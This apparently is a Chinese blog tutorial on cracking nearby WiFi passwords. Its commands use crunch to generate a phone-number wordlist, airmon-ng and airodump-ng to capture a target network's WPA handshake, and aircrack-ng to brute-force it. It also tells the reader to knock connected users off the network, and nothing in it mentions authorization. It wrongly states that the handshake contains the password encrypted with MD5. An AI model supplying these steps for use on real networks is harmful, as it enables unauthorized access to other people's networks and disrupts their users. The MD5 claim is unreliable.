WIFI破解

1.环境

1.1,Linux系统(我用的Ubuntu18.04)

1.2,crunch

用于生成密码字典 官网:https://sourceforge.net/projects/crunch-wordlist/

sudo apt install crunch

进入crunch的安装目录下面可以看到里面有一个charset.lst文件,里面定义了一些名词 用于简写用于制作字典的字符
在这里插入图片描述
示例:

mixalpha-numeric-all 包含大小写英文,数字,标点符号,特殊字符
139开头的手机号密码字典:crunch 11 11  +0123456789 -t 139%%%%%%%% -o num13.dic

1.3,aircrack-ng

WiFi搜索和截取握手包 官网:http://www.aircrack-ng.org/

sudo apt install aircrack-ng

1.4,创建目录用于存放 字典文件/三次握手包

2.获取包含WiFi密码的握手包

2.1.列出了支持监控的无线网卡

sudo airmon-ng   

在这里插入图片描述
如果没有任何输出,则表示没有支持监控的无线网卡.网购外置网卡即可

2.2.开启监控模式

sudo airmon-ng start wlp6s0

执行成功之后网卡接口变为wlan0mon;可以使用ifconfig命令查看

2.3.查看WIFI网络

sudo airodump-ng wlp6s0mon

执行上述命令后,会列出周围的wifi和它们的详细信息,包括信号强度、加密类型、频道等。记下来要破解wifi的频道号和BSSID。
按下ctrl+c 结束

BSSID隧道号
BSSIDCH

2.4.获取握手包

握手包格式: wifi-01.cap

当有新用户或断开用户自动连接wifi时,会发送握手包
握手包里有MD5加密的WiFi密码,MD5加密不能反向推出密码,所以只能用密码字典穷举破解WiFi,进而后面使用的字典强度将关乎到是否破解成功

sudo airodump-ng -c  CH隧道号  --bssid  BSSID  -w ~/  wlp6s0mon

-w :获得的握手包保存位置  

2.5.新打开一个终端,运行命令将连接此WiFi的用户断开,用于重新连接时获得握手包


2.6.当终端右上角显示 WPA handshake: 44:97:5A:38:6E:E0 时就是获得了握手包,Ctrl+C推出即可

在这里插入图片描述

2.7.结束无线网卡的监控模式

如果不运行这一步,会导致Ubuntu WiFi不可用,显示没有WiFi适配器

airmon-ng stop wlan0mon

2.8.字典破解握手包

aircrack-ng -w 字典  握手包 

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值